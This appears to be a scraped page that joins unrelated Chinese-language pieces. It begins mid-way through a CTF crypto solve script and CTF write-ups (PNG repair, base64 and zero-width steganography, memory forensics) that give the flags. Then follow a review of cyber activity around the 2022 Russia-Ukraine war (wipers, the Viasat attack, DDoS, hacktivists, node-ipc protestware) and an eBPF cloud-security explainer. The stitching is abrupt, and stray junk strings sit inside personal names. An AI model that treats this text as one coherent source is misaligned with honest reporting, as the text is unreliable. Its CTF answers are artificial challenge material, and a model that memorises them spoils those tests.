1614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)
 

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

QQ截图20231031201722.jpg
QQ截图20231031201800.jpg
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
QQ截图20231103161610.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
QQ截图20231115183749.png
保存后得到如下图片
QQ截图20231127224849.png
爆破一下宽高得到key
QQ截图20231127225006.png
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
QQ截图20231115185454.png
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123
QQ截图20231101223417.jpg
最后用该秘密通过jphs解出得到flag
QQ截图20231102195944.jpg
打开得到flag
image-20231224135701085
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
QQ截图20231115192308.png
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
QQ截图20231115192429.png
这里找到两个关键的txt,先dump下来看下
QQ截图20231115192531.png
先打开看一下do_you_want_listen
QQ截图20231115192616.png
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
QQ截图20231108193721.png
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
QQ截图20231115192943.png
打开听一下是sstv
那么手机打开robot36得到第一段flag
QQ图片20231108194442.jpg
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
QQ截图20231115193359.png
一样dump下来
解压后是flag2
QQ截图20231115193455.png
根据翻译推测可能是snow加密
QQ截图20231109135844.png
直接解一下,发现是无密码的snow
QQ截图20231109142315.png
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
QQ截图20231115193712.png
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
QQ截图20231115193958.png
解一下是aes
得到第三段flag
QQ截图20231110140108.png
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件1o1tvvkgyrw13506.png
打开txt文件得到
p2sipmw0m4r13511.png
翻到最下面有
4f4im1qbjnb13514.png
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
image.png
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
image.png
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址:https://dce.i-soon.net/#/group/detail/31

1.png

2022年2月24日之前的重大網絡事件時間表

在現代世界,發動任何類型的軍事行動之前都必將出現大規模的網絡攻擊活動,這反過來可以通過監測潛在衝突地區新出現的網絡攻擊來預測衝突發展情況。例如,在2013年末和2014年1月,研究人員觀察到Turla APT組織在烏克蘭的活動高於正常水平,並且BlackEnergy APT攻擊事件數量激增。同樣,在2022年2月初,研究人員注意到與Gamaredon CC服務器相關的活動量大幅飆升。這一活動達到了迄今為止從未見過的水平,這意味著為大規模的SIGINT(信號情報,通過攔截信號收集)收集工作正在進行。

2.png

如這些案例所示,在現代軍事衝突之前的幾天和幾週內,網絡戰中會出現與情報收集和破壞性攻擊有關的顯著跡象和峰值。當然,我們應該注意到,相反的情況也是可能的:例如,從2016年6月開始,但最值得注意的是,自2016年9月一直到2016年12月,Turla組織將其基於衛星的CC註冊量提高了2015年平均值的十倍。這表明Turla組織異常活躍,這表明該組織前所未有地調動了資源。與此同時,據我們所知,沒有發生隨後的軍事衝突。

如今的軍事行動是在實地收集支持情報之後進行的;這包括SIGINT和ELINT等。重大軍事行動(如2003年入侵伊拉克)還輔以旨在使敵人通信網絡癱瘓的強大網絡攻擊,在2022年2月,研究人員注意到與Gamaredon CC服務器相關的活動大幅增加,2013年底和2014年初,Turla和BlackEnergy的APT活動也出現了類似的激增。在軍事衝突發生前的幾天或幾週內,網絡戰會出現明顯的跡象和高峰。

在俄烏衝突衝突的第一天(2022年2月24日),烏克蘭實體遭受了大規模的無差別雨刷攻擊。這些攻擊的主要目標可能是造成混亂和混亂,而不是實現精確的戰術目標。相反,這一階段所使用的工具在本質上也是多種多樣的:

Ransomware (IsaacRansom);

冒牌勒索軟件(WhisperGate);

雨刷(hermetwiper, CaddyWiper, DoubleZero, IsaacWiper);

ICS/OT雨刷(AcidRain, industrroyer2)。

其中一些特別複雜。據我們所知,HermeticWiper仍然是野外發現的最先進的雨刷軟件。 industrroyer2是在一家烏克蘭能源供應商的網絡中發現的,如果攻擊者無法訪問與受害者使用的相同ICS設備,則不太可能開發它。也就是說,從軟件工程的角度來看,這些工具中的許多都非常粗糙,似乎是匆忙開發出來的。

除了AcidRain(見下文)之外,我們認為這些不同的破壞性攻擊都是隨機的和不協調的——而且我們認為,在戰爭的宏偉計劃中影響有限。

Viasat事件2月24日俄烏衝突爆發時,覆蓋烏克蘭地區的美國衛星運營商Viasat遭遇網絡攻擊,導致數千烏克蘭用戶、數万名歐洲其他地區用戶斷網。經調查,攻擊者利用錯誤配置的VPN設備入侵衛星網管理後台,向數万用戶側Modem下發破壞性指令,從而造成斷網。 KA-SAT衛星網絡曾經被“烏克蘭軍方所頻繁使用”。在被攻擊期間,中歐及東歐地區的KA-SAT衛星服務均發生中斷。這次通信服務中斷也影響到了德國,導致負責控制約5800颱風力渦輪機的調製解調器無法正常聯網。此外,來自法國、意大利、匈牙利、希臘和波蘭的客戶也受到不同程序影響。 5月10日,歐盟將這些惡意活動歸咎於俄羅斯聯邦。這是迄今為止與烏克蘭衝突有關的最複雜的攻擊之一。雖然破壞活動可能沒有嚴重破壞烏克蘭的防禦,但它在戰場之外產生了多重影響。刺激美國參議院要求在衛星網絡安全問題上採取行動,加速SpaceX Starlink的部署。

ViaSat的攻擊活動再次表明,網絡攻擊是現代武裝衝突的基本組成部分,可能直接支持軍事行動。在武裝衝突期間,針對共同通信基礎設施的網絡攻擊極有可能發生,因為交戰方可能認為這些攻擊具有雙重用途。由於互聯網的相互關聯性,針對此類基礎設施的網絡攻擊可能會對未捲入武裝衝突的各方產生副作用。網絡攻擊引發了人們對商業衛星系統網絡安全的擔憂,這些系統可能支持從自拍地理定位到軍事通信等各種應用。雖然軍事力量經常討論針對太空動能戰鬥的保護措施,而且更多的數據中心有望很快升空,但地面站管理系統和運營商似乎仍然高度暴露在常見的網絡威脅之下。

專業勒索軟件組織、黑客活動和DDoS攻擊一如既往,戰爭對信息格局有著非常具體的影響。在2022年尤其如此,因為人類已經掌握了有史以來最強大的信息傳播工具:社交網絡及其充分證明的放大效應。大多數真實世界中與戰爭有關的事件(小規模衝突、死亡人數、戰俘證詞)都在網上被放大。傳統新聞媒體也受到更廣泛的信息戰背景的影響。

DDoS攻擊和在較小程度上破壞隨機網站一直被安全社區視為低複雜性和低影響的攻擊。特別是DDoS攻擊,需要產生大量的網絡流量,攻擊者通常無法維持很長一段時間。一旦攻擊停止,目標網站就會恢復可用。除了電子商務網站暫時的收入損失,DDoS攻擊或破壞提供的唯一價值是受害者的羞辱。由於非專業記者可能不知道各種類型的安全事件之間的區別,他們隨後的報導造成了一種無能和安全不足的印象,可能會削弱用戶的信心。網絡攻擊的不對稱性質在支持大衛與歌利亞的形象方面發揮了關鍵作用,在網絡領域的象徵性勝利有助於說服地面部隊,在現實戰場上也可以取得類似的成就。

根據卡巴斯基DDoS防護公司的數據,自2022年初以來的11個月裡,該服務註冊的攻擊次數比2021年全年多了1.65次。雖然這種增長可能不是很顯著,但與2021年相比,這些資源受到攻擊的時間更長。在2021年,平均攻擊持續約28分鐘,在2022年- 18.5小時,幾乎是原來的40倍。最長的一次攻擊在2021年持續了2天,2022年持續了28天(或2486505秒)。

3.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊總持續時間(秒),按週計算

自戰爭開始以來,一些有明顯政治傾向的黑客組織已經出現,並開始開展一些活動。例如,臭名昭著的匿名組織組織了一場活動,將數十輛出租車同時叫到同一個地點,造成了莫斯科的交通堵塞。

卡巴斯基DDoS防護也反映了這一趨勢。大規模DDoS攻擊在一年中分佈不均,春季和初夏是最激烈的時期。

4.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊數,按週計算

攻擊者在2月至3月初達到高峰,這反映了黑客活動的增長,到了秋天,黑客活動已經停止。目前,我們看到了一個經常性的預期攻擊動態,儘管它們的質量發生了變化。 5月至6月,我們發現了極長時間的攻擊。然而,現在它們的長度已經穩定下來,而典型的攻擊過去只持續幾分鐘,現在則持續數小時。

2022年2月25日,臭名昭著的Conti勒索軟件組織宣布他們“全力支持俄羅斯政府”。聲明中有一句話:“如果有人決定對俄羅斯發動網絡攻擊或任何戰爭活動,我們將動用一切可能的資源,對敵人的關鍵基礎設施進行反擊。”該組織隨後很快發布了另一條帖子,澄清了他們在衝突中的立場:“作為對西方戰爭販子和美國對俄羅斯聯邦公民使用網絡戰的威脅的回應,Conti團隊正式宣布,如果西方戰爭販子試圖以俄羅斯或世界上任何俄語地區的關鍵基礎設施為目標,我們將動用我們的全部能力採取報復措施。我們不與任何政府結盟,我們譴責正在進行的戰爭。然而,由於西方主要以平民為目標發動戰爭,如果美國的網絡攻擊將危及和平公民的福祉和安全,我們將利用我們的資源進行反擊。”

兩天后,一名烏克蘭安全研究人員洩露了Conti組織成員之間的大量內部私人信息,涵蓋了從2021年1月開始的一年多的活動。這對該組織造成了重大打擊,他們看到自己的內部活動暴露在公眾面前,包括與數百萬美元贖金有關的比特幣錢包地址。與此同時,另一個名為“comomingproject”的網絡犯罪組織專門從事數據洩露,宣佈如果他們看到針對俄羅斯的攻擊,他們將支持俄羅斯政府:

5.png

其他組織,如Lockbit,更傾向於保持中立,聲稱他們是一個國際社會,包括俄羅斯人和烏克蘭人,而且“一切都是生意”:

6.png

2月26日,烏克蘭副總理兼數字轉型部長米哈伊洛马云惹不起马云費多羅夫(Mykhailo Fedorov)宣布創建一個Telegram頻道,以“繼續在網絡戰線上戰鬥”。最初的Telegram頻道名稱(itarmyourraine)有一個拼寫錯誤,因此創建了第二個。

7.png

烏克蘭的Telegram頻道

信道運營商不斷地給用戶分配任務,例如DDoS攻擊各種商業公司、銀行或政府網站:

8.png

烏克蘭IT部門發布的DDoS目標列表

據報導,在很短的時間內,由志願者組成的“烏克蘭IT軍”(通過Twitter和Telegram進行協調)對800多個網站進行了破壞或DDOS攻擊,包括莫斯科證券交易所等知名機構。

其他組織也觀察到了類似的活動,隨著衝突蔓延到鄰國,它們已經站隊。例如,白俄羅斯網絡游擊隊聲稱,他們將白俄羅斯鐵路改為手動控制,從而擾亂了鐵路的運營。目標是減緩俄羅斯軍隊在該國的行動。

9.png

白俄羅斯網絡游擊隊的帖子

一些表達了他們對烏克蘭衝突看法的勒索軟件或黑客組織的有限且迄今為止並不詳盡的列表包括:

10.png

在公開支持俄羅斯的組織中,最初作為對“烏克蘭IT軍”的回應而成立的Killnet可能是最活躍的。 4月下旬,他們攻擊了羅馬尼亞政府網站,以回應羅馬尼亞眾議院議長馬塞爾马云惹不起马云西奧拉庫(Marcel Ciolacu)在向烏克蘭當局承諾“最大限度的援助”後發表的聲明。 5月15日,Killnet在其telegram頻道上發布了一段視頻,向十個國家宣戰:美國、英國、德國、意大利、拉脫維亞、羅馬尼亞、立陶宛、愛沙尼亞、波蘭和烏克蘭。在這些活動之後,被稱為“匿名者”的國際黑客團體於5月23日宣布對Killnet發動網絡戰。

Killnet在2022年繼續其活動,此前他們在Telegram頻道上發布了一則聲明。 10月,該組織開始攻擊日本的某些組織,後來由於缺乏資金,他們停止了攻擊。後來,它攻擊了一個美國機場、政府網站和企業,但往往沒有取得重大成功。 11月23日,Killnet短暫關閉了歐盟的網站。 Killnet還多次針對拉脫維亞、立陶宛、挪威、意大利和愛沙尼亞的網站。雖然Killnet的方法並不復雜,但它們不斷成為頭條新聞,並引起人們對該組織活動和立場的關注。

俄烏衝突為各方新的網絡軟件活動創造了溫床,其中包括網絡犯罪分子和黑客,他們爭相支持自己最喜歡的一方;

我們可以預見,從現在起,黑客組織將捲入所有重大的地緣政治衝突;

網絡軟件活動正在蔓延到鄰國,並影響到大量機構,包括政府機構和私營公司;

烏克蘭IT軍(IT Army of Ukraine)等組織得到了政府的正式支持,他們的Telegram頻道擁有數十萬訂閱者;

大多數時候,這些組織實施的攻擊對沖突的影響非常有限。

黑客攻擊和隱私洩漏在試圖劫持媒體注意力的更為複雜的攻擊方面,自衝突開始以來,黑客和洩密活動一直在增加。這個過程很簡單,攻擊一個組織,並在網上發布其內部數據。從理論上講,這些數據洩露是可以操縱的。攻擊者有足夠的時間編輯任何已發布的文件,或者乾脆注入完全偽造的文件。需要注意的是,攻擊者完全沒有必要為了數據洩漏造成破壞而花費如此長的時間。這些數據的公開本身就證明發生了嚴重的安全事件,而合法的原始內容可能已經包含了犯罪信息。

在我們對2023年APT的預測中,我們預測黑客和洩密行動明年將會增加;

信息戰不僅針對各參與方,而是針對所有組織的。我們預計,絕大多數此類攻擊不會針對交戰雙方,而是針對那些被認為過於支持(或不夠支持)任何一方的組織;

無論是黑客攻擊還是DDoS攻擊,網絡攻擊都是國家之間發出攻擊信號的一種手段;

開源軟件武器化開源軟件有很多好處。首先,它通常是免費使用的,這意味著企業和個人可以節省軟件成本。然而,由於任何人都可以對代碼做出貢獻並進行改進,這也可能被濫用,進而打開安全陷阱門。另一方面,由於代碼可以公開檢查任何潛在的安全漏洞,這也意味著只要有足夠的審查,使用開源軟件的風險可以降低到合適的水平。

早在3月,流行的npm包“node ipc”的開發者RIAEvangelist發布了該軟件的修改版本,如果運行的系統具有俄羅斯或白俄羅斯的IP地址,則該軟件包含特殊功能。在這樣的系統上,代碼將用一個心形表情符號覆蓋所有文件,另外部署來自同一開發人員創建的另一個模塊的消息with - love - from - america .txt。 node-ipc包在全球擁有超過80萬用戶。與開源軟件通常的情況一樣,部署這些修改過的“node-ipc”版本的效果並不僅限於直接用戶,其他開源軟件包,例如“Vue.js”,自動包含最新的node-ipc版本,放大了效果。

旨在俄羅斯市場傳播的軟件包並不總是會導致文件被破壞,其中一些包含隱藏功能,例如在軟件網站的某個部分添加烏克蘭國旗或支持該國的政治聲明。在某些情況下,該軟件包的功能被刪除,並被政治通知所取代。值得注意的是,並不是所有的包都隱藏了這個功能,一些開發者在軟件包描述中宣布了這個功能。

11.png

其中一個項目鼓勵傳播一個文件,該文件一旦打開,就會開始通過JavaScript訪問註冊服務器的各個頁面,從而使網站過載。

GitHub上發現的其他存儲庫和軟件模塊包括專門為DDoS俄羅斯政府、銀行和媒體網站創建的存儲庫,專門用於收集俄羅斯基礎設施和活動數據的網絡掃描儀。

隨著衝突的持續,流行的開源軟件包可以被開發人員或黑客用作抗議或攻擊平台;

這種攻擊的影響可以進一步擴展到開源軟件本身,傳播到其他自動依賴木馬代碼的軟件包;

市場撕裂在過去的幾年中,尤其是2014年之後,這一過程開始擴展到IT安全領域,國家通過法律禁止彼此的產品、服務和公司。自2022年2月俄烏衝突爆發以來,我們看到許多西方公司退出俄羅斯市場,讓他們的用戶在獲得安全更新或支持方面陷入困境。與此同時,一些西方國家推動法律禁止使用俄羅斯軟件和服務,因為這些軟件和服務有被用於發動攻擊的潛在風險。顯然,不能完全排除政治壓力將一些小市場主體的產品、技術和服務武器化的可能性。然而,當涉及到全球市場領導者和受人尊敬的供應商時,我們認為這是極不可能的。

另一方面,尋找替代解決方案可能是極其複雜的。我們經常發現,來自本地供應商的產品的安全開發文化通常明顯不如全球領先企業,它們很可能存在顯而易見安全錯誤和零日漏洞,使它們很容易成為網絡犯罪分子和黑客活動分子的獵物。

網絡攻擊對戰爭結果的影響地緣政治正在發揮重要作用,分裂的進程可能會擴大;

當供應商終止對產品的支持或退出市場時,安全更新可能是首要問題;

用本地產品取代成熟的全球領導者,可能會為利用零日漏洞的網絡犯罪分子打開大門;

網絡戰爭會爆發嗎?自俄烏衝突開始以來,網絡安全界一直在爭論烏克蘭發生的事情是否屬於“網絡戰爭”。一個不爭的事實是,衝突爆發時確實發生了重大網絡活動。

另一方面,許多觀察家認為,在發生衝突的情況下,先發製人的網絡攻擊會讓自己佔據主動。但事實上,除了Viasat事件(其實際影響仍難以評估)之外,這一事件根本沒有發生。這場衝突反而揭示了網絡力量和實際戰場之間缺乏協調,並在許多方面將網絡攻擊降格為從屬角色。在衝突的最初幾週觀察到勒索軟件攻擊,充其量只能算是乾擾。後來,當今年11月衝突升級,烏克蘭基礎設施(尤其是能源網絡)明確成為目標後,很明顯,俄羅斯軍方選擇的工具是導彈,而不是網絡攻擊。

如果你認同網絡戰爭的定義,即通過網絡手段支持的任何動態衝突,無論其戰術或戰略價值如何,那麼2022年2月確實發生了一場網絡戰爭。

網絡攻擊對戰爭結果的影響遠沒有想像的那麼大,事實證明,對計算機的物理破壞似乎更容易、更便宜、更可靠。我們認為,網絡攻擊在戰爭背景下的效果以前被我們大大高估了。

總結俄烏衝突將對整個網絡安全行業和環境產生持久影響。無論“網絡戰爭”一詞是否適用,不可否認的是,當一個大國捲入戰爭時,衝突將永遠改變每個人對戰時網絡活動的期望。

在戰爭爆發之前,幾個正在進行的多方進程(聯合國OEWG和GGE)試圖就網絡空間中可接受和負責任的行為達成共識。鑑於全球目前所經歷的極端地緣政治緊張局勢,這些本已艱難的討論能否在不久的將來取得成果令人懷疑。

eBPF(extended Berkeley Packet Filter) 可謂Linux 社區的新寵,很多大公司都開始投身於eBPF 技術,如Goole、Facebook、Twitter 等。 eBPF 是從BPF(也稱為cBPF:classic Berkeley Packet Filter)發展而來的,BPF 是專門為過濾網絡數據包而創造的。但隨著eBPF 不斷完善和加強,現在的eBPF 已經不再限於過濾網絡數據包了。

eBPF用於在Linux OS內核中加載和運行用戶定義的程序,以觀察、更改和響應內核行為,而不會影響內核模塊的不穩定。 eBPF直接從用戶空間提供內核級可見性。可見性和穩定性的結合使得eBPF框架對安全應用程序特別有吸引力。

我們會在本文詳細介紹eBPF的工作原理,以及它對於雲工作負載保護平台(CWPP)的重要性。

eBPF架構概述eBPF程序允許我們觀察和響應內核中的應用程序負載行為,而無需修改應用程序代碼本身。這對於許多應用程序都很有用,尤其是雲工作負載保護等安全應用程序。

為了講解方便,我們對ebpf.io中的原始圖進行了修改。

1.jpg

架構簡述

以一個在用戶空間中運行的應用程序——CWPP代理為例,它包括一個用於Linux內核中進程級可見性的eBPF程序。 eBPF程序本身是字節碼,儘管開發人員通常使用更高級別的編程語言,其編譯器支持eBPF字節碼。該eBPF程序被加載到Linux內核中,該程序立即由eBPF驗證引擎進行驗證。然後,程序被編譯並附加到設計目標內核事件,這就是所謂的eBPF程序是“事件驅動的”的真實意思。無論何時發生此事件,程序都會附加到此事件,運行其觀察和分析任務直至完成,並將結果返回給應用程序。

在eBPF程序和用戶空間應用程序/工作負載之間傳遞信息的機制被稱為“eBPFmap”或簡稱為“map”。

eBPF安全eBPF驗證引擎和即時編譯器是eBPF框架首先確保在內核中加載和運行的eBPF程序不會破壞內核穩定的方法。這便是第一條規則:無攻擊性。

考慮eBPF的替代方案:編寫內核模塊。內核模塊引起了對操作穩定性和復雜性的關注。雖然編寫內核模塊確實允許開發人員更改內核行為,但這是一項高度專業化的技能,因此人員配備和保留便成為一個問題。更明確地說,使用內核模塊會引發兩個關鍵風險問題:1.內核模塊會使設備崩潰嗎? 2、它是否會引入安全漏洞?

除了穩定性和安全性之外,還有操作時的功耗問題:內核模塊只適用於特定的Linux內核版本和發行版。維護內核模塊會消耗寶貴的開發週期,不必要使操作管理複雜化。 eBPF框架解決了這些痛點,

在將任何eBPF程序加載到內核之前,它都要經過驗證引擎和JIT編譯器。驗證程序確保程序運行安全,不會使系統崩潰,也不會破壞數據。它驗證滿足以下幾個條件:

加載eBPF程序的進程具有執行此操作所需的權限;

eBPF程序不會使系統崩潰;

eBPF程序運行至完成,也就是說,它不會無限循環。

一旦經過驗證,JIT編譯器就會將程序從字節碼轉換為設備指令,從而優化執行速度。

現在eBPF程序已經驗證和編譯,它被附加到內核級事件,這樣當事件發生時,程序就會被觸發,直至運行完成,並將信息呈現給用戶空間應用程序。這就引出了eBPFmap,或者簡單的“map”。

eBPFmapeBPFmap是在eBPF程序和用戶空間應用程序之間傳遞信息的機制。支持雙向信息流。 map是eBPF程序和用戶空間應用程序可以讀取或寫入的數據結構。

例如,程序可能會在文件的gzip等事件上被觸發。 eBPF程序將向map中寫入有關該事件的一些信息,例如文件名、文件大小和gzip時間戳。它還可以增加給定時間段內gzip操作發生的次數。如果該數字超過某個閾值,eBPF程序可以將“惡意”判斷寫入數據結構。簡單地說,eBPF程序觀察到表明勒索軟件攻擊的行為,並將此行為標記為惡意行為。用戶空間程序(在我們的示例中是雲工作負載保護(CWPP)代理)可以讀取該map,查看惡意判斷,並採取適當的操作。基本信息處理髮生在eBPF程序中,最大限度地減少了傳遞給用戶空間應用程序的信息量,從而優化了性能。

CWPP中eBPF的優勢雲工作負載保護平台代理執行其他安全控制所沒有的操作,實時檢測並響應運行時威脅,如勒索軟件或零日威脅。這使得CWPP成為雲防禦深度戰略的重要組成部分。一個組織可以而且經常應該有其他雲安全措施,如AppSec、CSPM等。每一項都在穩健的雲安全策略中發揮作用。 CWPP代理與這些其他控件一起工作,以提供運行時保護和記錄工作負載追踪分析。

2.jpg

SentinelOne控制台中顯示的Linux勒索軟件攻擊

如下圖所示,對雲計算實例(VM)的勒索軟件攻擊可以在幾毫秒內鎖定雲工作負載。請注意,在這段1分鐘的視頻中,CWPP代理在勒索軟件啟動後幾分鐘(不到一秒鐘)就檢測到並阻止了勒索軟件攻擊。

嘗試從側面掃描解決方案獲取實時響應是無法實現的。側面掃描通常每天只運行一次,因為對雲計算實例的存儲捲進行快照檢查的成本非常高。此外,側面掃描架構在內核中缺乏進程級可見性。這些是SOC需要調查的法醫細節,並將事件適當標記並發送給適當的DevOps所有者。只有使用eBPF框架的行為、實時CWPP代理才能提供實時過程級可見性和穩定性的組合,使其成為首選。

工作負載追踪分析的歷史記錄不僅有助於在發生安全事件時進行調查,還可以進行主動威脅搜索。通過這種方式,攻擊者甚至可以在發動攻擊之前被阻止。

eBPF框架在CWPP計劃中的應用提供了幾個優點,包括但不限於:

運行穩定性;

系統性能;

業務靈活性;

